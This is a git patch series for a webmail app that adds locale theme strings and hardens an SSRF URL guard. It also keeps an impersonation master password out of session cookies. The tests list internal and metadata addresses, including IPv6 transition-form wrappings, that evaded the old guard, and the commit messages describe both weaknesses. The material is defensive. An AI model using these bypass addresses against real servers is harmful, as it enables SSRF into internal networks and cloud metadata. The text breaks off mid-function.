"Afgedwongen door beheerder" + }, "tab_groups": { "general": "Algemeen", "account": "Account & identiteit", diff --git a/locales/pl/common.json b/locales/pl/common.json index 2a10f1cd4..720be1eb1 100644 --- a/locales/pl/common.json +++ b/locales/pl/common.json @@ -935,6 +935,18 @@ "about_data": "O programie i dane", "debug": "Debugowanie" }, + "themes": { + "title": "Motywy", + "description": "Wybierz jeden z motywów udostępnionych przez administratora lub jeden z wbudowanych.", + "locked": "Wybór motywu został zablokowany przez administratora.", + "forced": "Motyw „{name}” jest wymuszony przez administratora i nie można go zmienić", + "admin_theme": "Motyw administratora", + "activated": "Motyw aktywowany", + "default_restored": "Przywrócono domyślny motyw", + "default_name": "Domyślny", + "default_badge": "Domyślny", + "admin_enforced": "Wymuszony przez administratora" + }, "tab_groups": { "general": "Ogólne", "account": "Konto i tożsamość", diff --git a/locales/pt/common.json b/locales/pt/common.json index 226d5aa58..7df6bc600 100644 --- a/locales/pt/common.json +++ b/locales/pt/common.json @@ -935,6 +935,18 @@ "about_data": "Sobre e dados", "debug": "Depuração" }, + "themes": { + "title": "Temas", + "description": "Escolha entre os temas disponibilizados pelo seu administrador e as predefinições integradas.", + "locked": "A seleção de tema está bloqueada por um administrador.", + "forced": "O tema “{name}” é imposto pelo administrador e não pode ser alterado", + "admin_theme": "Tema do administrador", + "activated": "Tema ativado", + "default_restored": "Tema padrão restaurado", + "default_name": "Padrão", + "default_badge": "Padrão", + "admin_enforced": "Imposto pelo administrador" + }, "tab_groups": { "general": "Geral", "account": "Conta e identidade", @@ -2593,7 +2605,7 @@ "nickname": "Apelido", "nickname_placeholder": "Apelido", "email": "E-mail", - "email_placeholder": "email@examplo.com.br", + "email_placeholder": "email@example.com", "phone": "Telefone", "phone_placeholder": "+55 11 1234 5678", "phone_type": "Tipo", diff --git a/locales/ro/common.json b/locales/ro/common.json index b9d069918..679a7e9d4 100644 --- a/locales/ro/common.json +++ b/locales/ro/common.json @@ -938,6 +938,18 @@ "about_data": "Despre & Date", "debug": "Depanare" }, + "themes": { + "title": "Teme", + "description": "Alegeți dintre temele implementate de administratorul dvs. și presetările integrate.", + "locked": "Selectarea temei este blocată de un administrator.", + "forced": "Tema „{name}” este impusă de administrator și nu poate fi schimbată", + "admin_theme": "Temă de administrator", + "activated": "Temă activată", + "default_restored": "Tema implicită a fost restabilită", + "default_name": "Implicită", + "default_badge": "Implicită", + "admin_enforced": "Impusă de administrator" + }, "tab_groups": { "general": "Generalități", "account": "Cont și identitate", diff --git a/locales/ru/common.json b/locales/ru/common.json index f4bec98ad..24a8ff361 100644 --- a/locales/ru/common.json +++ b/locales/ru/common.json @@ -935,6 +935,18 @@ "about_data": "О программе и данные", "debug": "Отладка" }, + "themes": { + "title": "Темы", + "description": "Выберите тему, развёрнутую вашим администратором, или одну из встроенных.", + "locked": "Выбор темы заблокирован администратором.", + "forced": "Тема «{name}» задана администратором и не может быть изменена", + "admin_theme": "Тема администратора", + "activated": "Тема активирована", + "default_restored": "Тема по умолчанию восстановлена", + "default_name": "По умолчанию", + "default_badge": "По умолчанию", + "admin_enforced": "Задано администратором" + }, "tab_groups": { "general": "Общие", "account": "Аккаунт и удостоверение", diff --git a/locales/sk/common.json b/locales/sk/common.json index 8b7de04f0..9a1188f35 100644 --- a/locales/sk/common.json +++ b/locales/sk/common.json @@ -938,6 +938,18 @@ "about_data": "Info a dáta", "debug": "Ladenie" }, + "themes": { + "title": "Motívy", + "description": "Vyberte si z motívov nasadených vaším správcom a zo vstavaných predvolieb.", + "locked": "Výber motívu je uzamknutý správcom.", + "forced": "Motív „{name}“ je vynútený správcom a nemožno ho zmeniť", + "admin_theme": "Motív správcu", + "activated": "Motív aktivovaný", + "default_restored": "Predvolený motív bol obnovený", + "default_name": "Predvolený", + "default_badge": "Predvolený", + "admin_enforced": "Vynútené správcom" + }, "tab_groups": { "general": "Všeobecné", "account": "Účet a identita", diff --git a/locales/tr/common.json b/locales/tr/common.json index ad003718f..bce533ba7 100644 --- a/locales/tr/common.json +++ b/locales/tr/common.json @@ -935,6 +935,18 @@ "about_data": "Hakkında ve Veriler", "debug": "Hata Ayıklama" }, + "themes": { + "title": "Temalar", + "description": "Yöneticinizin dağıttığı temalar ve yerleşik hazır ayarlar arasından seçim yapın.", + "locked": "Tema seçimi bir yönetici tarafından kilitlendi.", + "forced": "“{name}” teması yönetici tarafından zorunlu kılınmıştır ve değiştirilemez", + "admin_theme": "Yönetici teması", + "activated": "Tema etkinleştirildi", + "default_restored": "Varsayılan tema geri yüklendi", + "default_name": "Varsayılan", + "default_badge": "Varsayılan", + "admin_enforced": "Yönetici tarafından zorunlu" + }, "tab_groups": { "general": "Genel", "account": "Hesap ve Kimlik", diff --git a/locales/uk/common.json b/locales/uk/common.json index 031e8cb89..f25f1d67f 100644 --- a/locales/uk/common.json +++ b/locales/uk/common.json @@ -935,6 +935,18 @@ "about_data": "Про програму та дані", "debug": "Налагодження" }, + "themes": { + "title": "Теми", + "description": "Виберіть тему, розгорнуту вашим адміністратором, або одну з вбудованих.", + "locked": "Вибір теми заблоковано адміністратором.", + "forced": "Тему «{name}» встановлено адміністратором, і її не можна змінити", + "admin_theme": "Тема адміністратора", + "activated": "Тему активовано", + "default_restored": "Тему за замовчуванням відновлено", + "default_name": "За замовчуванням", + "default_badge": "За замовчуванням", + "admin_enforced": "Встановлено адміністратором" + }, "tab_groups": { "general": "Загальний", "account": "Обліковий запис і ідентифікатор", diff --git a/locales/zh-TW/common.json b/locales/zh-TW/common.json index 924634b4c..0c05405e7 100644 --- a/locales/zh-TW/common.json +++ b/locales/zh-TW/common.json @@ -930,7 +930,7 @@ "sidebar_apps": "側邊欄應用程式", "notifications": "通知", "layout": "版面配置", - "themes": "主题", + "themes": "主題", "reading": "閱讀", "composing": "撰寫", "downloads": "下載", @@ -938,6 +938,18 @@ "about_data": "關於與資料", "debug": "除錯" }, + "themes": { + "title": "主題", + "description": "從管理員部署的主題和內建預設集中選擇。", + "locked": "主題選擇已被管理員鎖定。", + "forced": "主題「{name}」由管理員強制指定,無法變更", + "admin_theme": "管理員主題", + "activated": "主題已啟用", + "default_restored": "已還原預設主題", + "default_name": "預設", + "default_badge": "預設", + "admin_enforced": "管理員強制" + }, "tab_groups": { "general": "一般", "account": "帳號與寄件身分", diff --git a/locales/zh/common.json b/locales/zh/common.json index 974eef900..6b2ccf8bc 100644 --- a/locales/zh/common.json +++ b/locales/zh/common.json @@ -935,6 +935,18 @@ "about_data": "关于和数据", "debug": "调试" }, + "themes": { + "title": "主题", + "description": "从管理员部署的主题和内置预设中选择。", + "locked": "主题选择已被管理员锁定。", + "forced": "主题“{name}”由管理员强制指定,无法更改", + "admin_theme": "管理员主题", + "activated": "主题已启用", + "default_restored": "已恢复默认主题", + "default_name": "默认", + "default_badge": "默认", + "admin_enforced": "管理员强制" + }, "tab_groups": { "general": "通用", "account": "账户与身份", diff --git a/vitest.setup.ts b/vitest.setup.ts index c40182095..a6adfba2e 100644 --- a/vitest.setup.ts +++ b/vitest.setup.ts @@ -18,11 +18,12 @@ if (typeof window !== 'undefined' && typeof window.matchMedia !== 'function') { }) as unknown as MediaQueryList; } -// jsdom 28 (resolved by the ^27 caret in package.json) no longer provides a -// localStorage implementation; the zustand persist middleware writes through -// it on every setState and several stores read from it directly. Provide a -// minimal in-memory Storage so store-backed components render under test. -if (typeof window !== 'undefined' && typeof window.localStorage === 'undefined') { +// Node 25+ ships its own localStorage global, which shadows jsdom's under +// vitest; without --localstorage-file it is an empty object with no Storage +// methods. The zustand persist middleware writes through it on every +// setState and several stores read from it directly, so provide a minimal +// in-memory Storage when the real one is missing or unusable. +if (typeof window !== 'undefined' && typeof window.localStorage?.getItem !== 'function') { const backing = new Map(); const localStorage: Storage = { get length() { From 5d017fd2b1b067abe6bd5eee55b004f795a3f4c4 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:00:01 +0200 Subject: [PATCH 025/358] fix: block loopback, CGNAT and IPv6 transition ranges in the SSRF guard The URL guard behind fetch-ical, OAuth discovery, branding and the server-side JMAP fetches blocked only the single address 127.0.0.1 plus the RFC 1918, link-local and ULA subnets. Any logged-in user could make the server fetch 127.0.0.2, 100.64.0.0/10, 198.18.0.0/15, multicast, reserved space or a NAT64/6to4/Teredo address that wraps an internal IPv4 address. The telemetry guard already rejected all of these (GHSA-m7j8), so its range check moves to `lib/security/ip-ranges.ts` and both guards use it. `guardedLookup` inherits the wider list, so the connect-time rebinding check covers the new ranges too. --- lib/__tests__/url-guard.test.ts | 48 ++++++++++++++ lib/security/ip-ranges.ts | 110 ++++++++++++++++++++++++++++++++ lib/security/url-guard.ts | 24 ++----- lib/telemetry/endpoint-guard.ts | 100 +---------------------------- 4 files changed, 166 insertions(+), 116 deletions(-) create mode 100644 lib/security/ip-ranges.ts diff --git a/lib/__tests__/url-guard.test.ts b/lib/__tests__/url-guard.test.ts index 762263820..613c302be 100644 --- a/lib/__tests__/url-guard.test.ts +++ b/lib/__tests__/url-guard.test.ts @@ -97,6 +97,45 @@ describe('isPublicHttpUrl', () => { expect(lookup).not.toHaveBeenCalled(); }); + it.each([ + 'http://127.0.0.2/', + 'http://127.255.255.254/', + 'http://100.64.0.1/', + 'http://100.100.100.200/', + 'http://198.18.0.1/', + 'http://240.0.0.1/', + 'http://224.0.0.1/', + 'http://255.255.255.255/', + 'http://0.1.2.3/', + 'http://[::ffff:127.0.0.2]/', + 'http://[64:ff9b::7f00:1]/', + 'http://[64:ff9b::a9fe:a9fe]/', + 'http://[64:ff9b:1::1]/', + 'http://[2002:7f00:1::]/', + 'http://[2002:a9fe:a9fe::]/', + 'http://[2001:0:4136:e378:8000:63bf:80ff:fffe]/', + 'http://[ff02::1]/', + ])('rejects the special-purpose literal %s', async (url) => { + const isPublicHttpUrl = await load(); + expect(await isPublicHttpUrl(url)).toBe(false); + expect(lookup).not.toHaveBeenCalled(); + }); + + it.each(['127.0.0.2', '100.64.0.1', '198.18.0.1', '64:ff9b::7f00:1', '2002:7f00:1::'])( + 'rejects a hostname resolving to %s', + async (address) => { + lookup.mockResolvedValue([{ address, family: address.includes(':') ? 6 : 4 }]); + const isPublicHttpUrl = await load(); + expect(await isPublicHttpUrl('https://rebind.example.com/')).toBe(false); + }, + ); + + it('accepts public addresses embedded in NAT64 / 6to4 forms', async () => { + const isPublicHttpUrl = await load(); + expect(await isPublicHttpUrl('http://[64:ff9b::5db8:d822]/')).toBe(true); + expect(await isPublicHttpUrl('http://[2002:5db8:d822::1]/')).toBe(true); + }); + it('rejects when DNS resolves to a private address (rebinding)', async () => { lookup.mockResolvedValue([{ address: '127.0.0.1', family: 4 }]); const isPublicHttpUrl = await load(); @@ -186,6 +225,15 @@ describe('guardedLookup', () => { expect(result.err).toMatchObject({ code: 'EBLOCKED', address: '169.254.169.254' }); }); + it.each(['127.0.0.2', '100.64.0.1', '64:ff9b::7f00:1'])( + 'refuses a public name that resolves to %s', + async (address) => { + lookup.mockResolvedValue([{ address, family: address.includes(':') ? 6 : 4 }]); + const result = await run('rebind.attacker.example', { all: true }); + expect(result.err).toMatchObject({ code: 'EBLOCKED', address }); + }, + ); + it('rebinding: a name that was public on the first answer is refused on the second', async () => { lookup .mockResolvedValueOnce([{ address: '93.184.216.34', family: 4 }]) diff --git a/lib/security/ip-ranges.ts b/lib/security/ip-ranges.ts new file mode 100644 index 000000000..282938de1 --- /dev/null +++ b/lib/security/ip-ranges.ts @@ -0,0 +1,110 @@ +import { isIP } from 'node:net'; + +// The one definition of "not a public unicast address" for every server-side +// guard (url-guard for caller-supplied URLs, telemetry for the admin-set +// collector). Two copies drifted once: url-guard blocked only 127.0.0.1 while +// telemetry already rejected all of 127/8, CGNAT and the IPv6 transition +// prefixes. + +const PRIVATE_V4: RegExp[] = [ + /^0\./, // 0.0.0.0/8 + /^10\./, // 10.0.0.0/8 + /^127\./, // loopback + /^169\.254\./, // link-local + cloud metadata + /^172\.(1[6-9]|2\d|3[0-1])\./, // 172.16.0.0/12 + /^192\.168\./, // 192.168.0.0/16 + /^192\.0\.0\./, // IETF reserved + /^198\.(1[8-9])\./, // benchmarking 198.18.0.0/15 + /^100\.(6[4-9]|[7-9]\d|1[01]\d|12[0-7])\./, // 100.64.0.0/10 CGNAT + /^22[4-9]\./, // 224.0.0.0/4 multicast + /^23\d\./, + /^2[4-5]\d\./, // 240.0.0.0/4 reserved + broadcast +]; + +function isPrivateV4(ip: string): boolean { + return PRIVATE_V4.some((re) => re.test(ip)); +} + +// Expand an IPv6 literal into its eight 16-bit groups. Accepts `::` +// compression, a trailing embedded dotted quad (`::ffff:127.0.0.1`) and a +// zone id suffix. Returns null when the string isn't a well-formed address. +// +// We parse structurally rather than regex-matching the textual form because +// the same address has several spellings: the WHATWG URL parser rewrites +// `[::ffff:127.0.0.1]` to `[::ffff:7f00:1]`, while dns.lookup returns the +// dotted form. A textual check that only knew one spelling let the other +// straight through (GHSA-m7j8-f5q4-vj7x). +export function parseV6Groups(ip: string): number[] | null { + let s = ip.toLowerCase(); + const zone = s.indexOf('%'); + if (zone >= 0) s = s.slice(0, zone); + + const v4 = s.match(/^(.*:)(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/); + if (v4) { + const o = v4.slice(2, 6).map(Number); + if (o.some((n) => n > 255)) return null; + s = `${v4[1]}${((o[0] << 8) | o[1]).toString(16)}:${((o[2] << 8) | o[3]).toString(16)}`; + } + + const halves = s.split('::'); + if (halves.length > 2) return null; + const head = halves[0] ? halves[0].split(':') : []; + const tail = halves.length === 2 && halves[1] ? halves[1].split(':') : []; + const missing = 8 - head.length - tail.length; + if (missing < 0 || (halves.length === 1 && missing !== 0)) return null; + if (halves.length === 2 && missing === 0) return null; + + const groups = [...head, ...new Array(missing).fill('0'), ...tail] + .map((g) => (/^[0-9a-f]{1,4}$/.test(g) ? parseInt(g, 16) : NaN)); + if (groups.some(Number.isNaN)) return null; + return groups; +} + +function v4FromGroups(hi: number, lo: number): string { + return `${(hi >> 8) & 0xff}.${hi & 0xff}.${(lo >> 8) & 0xff}.${lo & 0xff}`; +} + +function isPrivateV6(ip: string): boolean { + const g = parseV6Groups(ip); + // Fail closed: isIP() said this is IPv6 but we can't make sense of it. + if (!g) return true; + + const leadingZero = (n: number) => g.slice(0, n).every((x) => x === 0); + + if (leadingZero(7) && (g[7] === 0 || g[7] === 1)) return true; // :: and ::1 + if ((g[0] & 0xff00) === 0xff00) return true; // ff00::/8 multicast + if ((g[0] & 0xffc0) === 0xfe80) return true; // fe80::/10 link-local + if ((g[0] & 0xfe00) === 0xfc00) return true; // fc00::/7 ULA + if (g[0] === 0x2001 && g[1] === 0) return true; // 2001::/32 Teredo + if (g[0] === 0x64 && g[1] === 0xff9b && g[2] === 1) return true; // 64:ff9b:1::/48 local NAT64 + + // Forms that embed an IPv4 address: judge them by the embedded address so + // an IPv6-only host behind DNS64 can still reach a public server. + if (leadingZero(5) && g[5] === 0xffff) { // ::ffff:0:0/96 IPv4-mapped + return isPrivateV4(v4FromGroups(g[6], g[7])); + } + if (leadingZero(6)) { // ::/96 IPv4-compatible (deprecated) + return isPrivateV4(v4FromGroups(g[6], g[7])); + } + if (g[0] === 0x64 && g[1] === 0xff9b && + g[2] === 0 && g[3] === 0 && g[4] === 0 && g[5] === 0) { // 64:ff9b::/96 NAT64 + return isPrivateV4(v4FromGroups(g[6], g[7])); + } + if (g[0] === 0x2002) { // 2002::/16 6to4 + return isPrivateV4(v4FromGroups(g[1], g[2])); + } + return false; +} + +/** + * True for any address a server-side fetch must not reach: loopback, + * RFC 1918, link-local, CGNAT, benchmarking, reserved, multicast, ULA, and + * IPv6 transition forms whose embedded IPv4 address is one of those. + * Returns false for anything that is not an IP literal. + */ +export function isPrivateAddress(ip: string): boolean { + const family = isIP(ip); + if (family === 4) return isPrivateV4(ip); + if (family === 6) return isPrivateV6(ip); + return false; +} diff --git a/lib/security/url-guard.ts b/lib/security/url-guard.ts index 6bdbd7614..6d9b865ee 100644 --- a/lib/security/url-guard.ts +++ b/lib/security/url-guard.ts @@ -1,6 +1,6 @@ import { lookup } from 'node:dns/promises'; import type { LookupAddress, LookupOptions } from 'node:dns'; -import { BlockList, isIP, type LookupFunction } from 'node:net'; +import { isIP, type LookupFunction } from 'node:net'; import { Agent, fetch as undiciFetch, @@ -8,18 +8,7 @@ import { type RequestInit as UndiciRequestInit, type Response as UndiciResponse, } from 'undici'; - -const blockedAddressRanges = new BlockList(); -blockedAddressRanges.addAddress('0.0.0.0'); -blockedAddressRanges.addAddress('127.0.0.1'); -blockedAddressRanges.addSubnet('10.0.0.0', 8); -blockedAddressRanges.addSubnet('172.16.0.0', 12); -blockedAddressRanges.addSubnet('192.168.0.0', 16); -blockedAddressRanges.addSubnet('169.254.0.0', 16); -blockedAddressRanges.addAddress('::', 'ipv6'); -blockedAddressRanges.addAddress('::1', 'ipv6'); -blockedAddressRanges.addSubnet('fc00::', 7, 'ipv6'); -blockedAddressRanges.addSubnet('fe80::', 10, 'ipv6'); +import { isPrivateAddress } from './ip-ranges'; const BLOCKED_HOSTNAMES = new Set(['localhost']); const BLOCKED_HOSTNAME_SUFFIXES = ['.localhost', '.local', '.internal', '.arpa', '.localdomain']; @@ -29,11 +18,7 @@ function normalizeHostname(hostname: string): string { } function isBlockedIpAddress(hostname: string): boolean { - const normalized = normalizeHostname(hostname); - const family = isIP(normalized); - if (family === 4) return blockedAddressRanges.check(normalized, 'ipv4'); - if (family === 6) return blockedAddressRanges.check(normalized, 'ipv6'); - return false; + return isPrivateAddress(normalizeHostname(hostname)); } function isBlockedHostname(hostname: string): boolean { @@ -67,7 +52,8 @@ function parseAllowedUrl(urlString: string): URL | null { /** * Returns true only when the URL targets a public host reachable over http(s). - * Rejects loopback / RFC-1918 / link-local / ULA addresses, special hostname + * Rejects every non-public range in {@link isPrivateAddress} (loopback, + * RFC 1918, link-local, CGNAT, multicast, IPv6 transition forms), special hostname * suffixes (.local, .internal, .arpa, ...), URLs with embedded credentials, * and any hostname whose DNS resolves to a blocked address. * diff --git a/lib/telemetry/endpoint-guard.ts b/lib/telemetry/endpoint-guard.ts index a17d9daf3..43d425a83 100644 --- a/lib/telemetry/endpoint-guard.ts +++ b/lib/telemetry/endpoint-guard.ts @@ -1,5 +1,8 @@ import { lookup } from 'node:dns/promises'; import { isIP } from 'node:net'; +import { isPrivateAddress } from '@/lib/security/ip-ranges'; + +export { isPrivateAddress, parseV6Groups } from '@/lib/security/ip-ranges'; // Block telemetry endpoints from pointing at internal/loopback addresses. // Required because the admin UI lets an authenticated admin set an arbitrary @@ -9,103 +12,6 @@ import { isIP } from 'node:net'; // Set BULWARK_TELEMETRY_ALLOW_PRIVATE=1 to bypass - useful only for local // dev where the collector is on the loopback. -const PRIVATE_V4: RegExp[] = [ - /^0\./, // 0.0.0.0/8 - /^10\./, // 10.0.0.0/8 - /^127\./, // loopback - /^169\.254\./, // link-local + cloud metadata - /^172\.(1[6-9]|2\d|3[0-1])\./, // 172.16.0.0/12 - /^192\.168\./, // 192.168.0.0/16 - /^192\.0\.0\./, // IETF reserved - /^198\.(1[8-9])\./, // benchmarking 198.18.0.0/15 - /^100\.(6[4-9]|[7-9]\d|1[01]\d|12[0-7])\./, // 100.64.0.0/10 CGNAT - /^22[4-9]\./, // 224.0.0.0/4 multicast - /^23\d\./, - /^2[4-5]\d\./, // 240.0.0.0/4 reserved -]; - -function isPrivateV4(ip: string): boolean { - return PRIVATE_V4.some((re) => re.test(ip)); -} - -// Expand an IPv6 literal into its eight 16-bit groups. Accepts `::` -// compression, a trailing embedded dotted quad (`::ffff:127.0.0.1`) and a -// zone id suffix. Returns null when the string isn't a well-formed address. -// -// We parse structurally rather than regex-matching the textual form because -// the same address has several spellings: the WHATWG URL parser rewrites -// `[::ffff:127.0.0.1]` to `[::ffff:7f00:1]`, while dns.lookup returns the -// dotted form. A textual check that only knew one spelling let the other -// straight through (GHSA-m7j8-f5q4-vj7x). -export function parseV6Groups(ip: string): number[] | null { - let s = ip.toLowerCase(); - const zone = s.indexOf('%'); - if (zone >= 0) s = s.slice(0, zone); - - const v4 = s.match(/^(.*:)(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/); - if (v4) { - const o = v4.slice(2, 6).map(Number); - if (o.some((n) => n > 255)) return null; - s = `${v4[1]}${((o[0] << 8) | o[1]).toString(16)}:${((o[2] << 8) | o[3]).toString(16)}`; - } - - const halves = s.split('::'); - if (halves.length > 2) return null; - const head = halves[0] ? halves[0].split(':') : []; - const tail = halves.length === 2 && halves[1] ? halves[1].split(':') : []; - const missing = 8 - head.length - tail.length; - if (missing < 0 || (halves.length === 1 && missing !== 0)) return null; - if (halves.length === 2 && missing === 0) return null; - - const groups = [...head, ...new Array(missing).fill('0'), ...tail] - .map((g) => (/^[0-9a-f]{1,4}$/.test(g) ? parseInt(g, 16) : NaN)); - if (groups.some(Number.isNaN)) return null; - return groups; -} - -function v4FromGroups(hi: number, lo: number): string { - return `${(hi >> 8) & 0xff}.${hi & 0xff}.${(lo >> 8) & 0xff}.${lo & 0xff}`; -} - -function isPrivateV6(ip: string): boolean { - const g = parseV6Groups(ip); - // Fail closed: isIP() said this is IPv6 but we can't make sense of it. - if (!g) return true; - - const leadingZero = (n: number) => g.slice(0, n).every((x) => x === 0); - - if (leadingZero(7) && (g[7] === 0 || g[7] === 1)) return true; // :: and ::1 - if ((g[0] & 0xff00) === 0xff00) return true; // ff00::/8 multicast - if ((g[0] & 0xffc0) === 0xfe80) return true; // fe80::/10 link-local - if ((g[0] & 0xfe00) === 0xfc00) return true; // fc00::/7 ULA - if (g[0] === 0x2001 && g[1] === 0) return true; // 2001::/32 Teredo - if (g[0] === 0x64 && g[1] === 0xff9b && g[2] === 1) return true; // 64:ff9b:1::/48 local NAT64 - - // Forms that embed an IPv4 address: judge them by the embedded address so - // an IPv6-only host behind DNS64 can still reach a public collector. - if (leadingZero(5) && g[5] === 0xffff) { // ::ffff:0:0/96 IPv4-mapped - return isPrivateV4(v4FromGroups(g[6], g[7])); - } - if (leadingZero(6)) { // ::/96 IPv4-compatible (deprecated) - return isPrivateV4(v4FromGroups(g[6], g[7])); - } - if (g[0] === 0x64 && g[1] === 0xff9b && - g[2] === 0 && g[3] === 0 && g[4] === 0 && g[5] === 0) { // 64:ff9b::/96 NAT64 - return isPrivateV4(v4FromGroups(g[6], g[7])); - } - if (g[0] === 0x2002) { // 2002::/16 6to4 - return isPrivateV4(v4FromGroups(g[1], g[2])); - } - return false; -} - -export function isPrivateAddress(ip: string): boolean { - const family = isIP(ip); - if (family === 4) return isPrivateV4(ip); - if (family === 6) return isPrivateV6(ip); - return false; -} - const BAD_HOSTS = new Set([ 'localhost', 'localhost.localdomain', From 11eb0bfb16284b6df6ea4837b6f247039f1fd2a7 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:05:05 +0200 Subject: [PATCH 026/358] fix: keep the Stalwart master password out of impersonated sessions An impersonation handoff sealed `%` and the master password into the session cookie, and `PUT /api/auth/session` hands that cookie's contents to the browser on every restore. Anyone who received a handoff could read a credential that signs in as every mailbox and into Stalwart administration, with no expiry and no audit trail. The impersonate route now uses the master credential server-side, once, to create an app password on the target mailbox that expires after 8 hours. Only that app password reaches the cookies. Signing out revokes it through a sealed grant cookie, and PUT refuses any session that still holds the configured master password, so cookies minted before this change are dropped instead of returned. --- .env.example | 5 + app/api/auth/impersonate/route.ts | 58 +++++-- app/api/auth/session/route.ts | 41 ++++- lib/__tests__/impersonation-session.test.ts | 160 ++++++++++++++++++++ lib/auth/crypto.ts | 5 +- lib/impersonation/app-password.ts | 117 ++++++++++++++ lib/impersonation/grant-cookie.ts | 29 ++++ 7 files changed, 397 insertions(+), 18 deletions(-) create mode 100644 lib/__tests__/impersonation-session.test.ts create mode 100644 lib/impersonation/app-password.ts create mode 100644 lib/impersonation/grant-cookie.ts diff --git a/.env.example b/.env.example index 143a50a0a..2f9d4299f 100644 --- a/.env.example +++ b/.env.example @@ -450,6 +450,11 @@ LOGIN_WEBSITE_URL=https://bulwarkmail.org # them unset keeps the feature fully off. Treat the secret and the master # password as you would a root credential. # +# The master password never leaves the server: each handoff uses it once to +# create an app password on the target mailbox, valid for 8 hours and +# revoked on sign-out. The target account's role therefore needs the +# app-password permissions (Stalwart's default user role has them). +# # BULWARK_JWT_AUTH_SECRET= # required, >= 32 characters # BULWARK_STALWART_MASTER_USER= # required, e.g. master@example.com # BULWARK_STALWART_MASTER_PASSWORD= # required diff --git a/app/api/auth/impersonate/route.ts b/app/api/auth/impersonate/route.ts index 858ccb8ef..bef1b35f4 100644 --- a/app/api/auth/impersonate/route.ts +++ b/app/api/auth/impersonate/route.ts @@ -16,6 +16,8 @@ import { readImpersonationConfig, resolveImpersonationServerUrl, } from '@/lib/impersonation/master-config'; +import { mintImpersonationCredential } from '@/lib/impersonation/app-password'; +import { IMPERSONATION_GRANT_COOKIE, sealImpersonationGrant } from '@/lib/impersonation/grant-cookie'; export const runtime = 'nodejs'; @@ -40,8 +42,13 @@ function impersonationCookieOptions() { * mailbox; Bulwark verifies the signature, resolves the configured Stalwart * master credentials from env, then mints the same session cookies the * password-login path produces. The browser is redirected to "/?impersonated=1" (see - * ImpersonationReconciler, GH #646) and the - * SPA hydrates as if the user had just logged in with master@target%master. + * ImpersonationReconciler, GH #646) and the SPA hydrates as if the user had + * just logged in to the target mailbox. + * + * The master credential is used here, server-side, only to create an + * expiring app password on the target mailbox. The session cookies carry + * that app password: the browser reads its session back through + * PUT /api/auth/session, and the master password would open every mailbox. * * Returns 404 when the feature is not configured so an unconfigured * deployment does not advertise the endpoint. @@ -92,26 +99,44 @@ export async function GET(request: NextRequest) { return NextResponse.json({ error: 'Invalid JMAP server URL' }, { status: 500 }); } - // Stalwart master-user impersonation: username = "%", - // password = . Per Stalwart docs: + // Stalwart master-user login ("%", master password) opens + // the target mailbox; use it once to mint the target's own app password. // https://stalw.art/docs/auth/authorization/administrator/ - const impersonatedUsername = `${claims.mailbox}%${config.masterUser}`; - const authHeader = `Basic ${Buffer.from( - `${impersonatedUsername}:${config.masterPassword}`, - ).toString('base64')}`; + let credential; + try { + credential = await mintImpersonationCredential({ + serverUrl: normalizedServerUrl, + mailbox: claims.mailbox, + masterUser: config.masterUser, + masterPassword: config.masterPassword, + description: `Support session ${claims.jti}`.slice(0, 100), + }); + } catch (err) { + logger.error('Impersonation credential could not be created', { + jti: claims.jti, + mailbox: claims.mailbox, + error: err instanceof Error ? err.message : 'Unknown', + }); + return NextResponse.json({ error: 'Could not open the mailbox' }, { status: 502 }); + } const cookieStore = await cookies(); - const sessionToken = encryptSession( - normalizedServerUrl, - impersonatedUsername, - config.masterPassword, - ); + const sessionToken = encryptSession(normalizedServerUrl, claims.mailbox, credential.secret); cookieStore.set(sessionCookieName(IMPERSONATION_SLOT), sessionToken, impersonationCookieOptions()); setStalwartAuthContextInStore(cookieStore, IMPERSONATION_SLOT, { serverUrl: normalizedServerUrl, - username: impersonatedUsername, - authHeader, + username: claims.mailbox, + authHeader: `Basic ${Buffer.from(`${claims.mailbox}:${credential.secret}`).toString('base64')}`, }); + cookieStore.set( + IMPERSONATION_GRANT_COOKIE, + sealImpersonationGrant({ + serverUrl: normalizedServerUrl, + mailbox: claims.mailbox, + credentialId: credential.id, + }), + impersonationCookieOptions(), + ); // Structured audit log - operators rely on this for security review. logger.info('Impersonation session granted', { @@ -121,6 +146,7 @@ export async function GET(request: NextRequest) { tenant_id: claims.tenant_id, actor_user_id: claims.actor_user_id, iss: claims.iss, + expires_at: credential.expiresAt, ip: request.headers.get('x-forwarded-for')?.split(',')[0]?.trim() || request.headers.get('x-real-ip') || @@ -129,7 +155,7 @@ export async function GET(request: NextRequest) { user_agent: request.headers.get('user-agent'), }); - void recordLogin(impersonatedUsername, normalizedServerUrl); + void recordLogin(claims.mailbox, normalizedServerUrl); // Use a relative Location header so the browser resolves it against the // public request URL. NextResponse.redirect(new URL('/', request.url)) diff --git a/app/api/auth/session/route.ts b/app/api/auth/session/route.ts index a2a8a3aec..765cc4b81 100644 --- a/app/api/auth/session/route.ts +++ b/app/api/auth/session/route.ts @@ -16,6 +16,9 @@ import { parseJmapServers, resolveTrustedJmapUrl } from '@/lib/admin/jmap-server import { MAX_ACCOUNT_SLOTS } from '@/lib/account-utils'; import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { insecureCookieHint, verificationFailureBody } from '@/lib/auth/verification-failure'; +import { readImpersonationConfig } from '@/lib/impersonation/master-config'; +import { revokeImpersonationCredential } from '@/lib/impersonation/app-password'; +import { IMPERSONATION_GRANT_COOKIE, openImpersonationGrant } from '@/lib/impersonation/grant-cookie'; function sessionCookieOptions() { return { @@ -24,6 +27,40 @@ function sessionCookieOptions() { }; } +/** + * A session sealed around the impersonation master password. Handoffs made + * before impersonation switched to per-mailbox app passwords stored it in + * the session cookie; it opens every mailbox, so it is never handed back to + * a browser, whichever path stored it. + */ +function holdsMasterPassword(credentials: { password: string }): boolean { + const config = readImpersonationConfig(); + return !!config && credentials.password === config.masterPassword; +} + +async function revokeImpersonationGrant( + cookieStore: Awaited>, +): Promise { + const grant = openImpersonationGrant(cookieStore.get(IMPERSONATION_GRANT_COOKIE)?.value); + cookieStore.delete(IMPERSONATION_GRANT_COOKIE); + const config = readImpersonationConfig(); + if (!grant || !config) return; + try { + await revokeImpersonationCredential({ + serverUrl: grant.serverUrl, + mailbox: grant.mailbox, + masterUser: config.masterUser, + masterPassword: config.masterPassword, + id: grant.credentialId, + }); + } catch 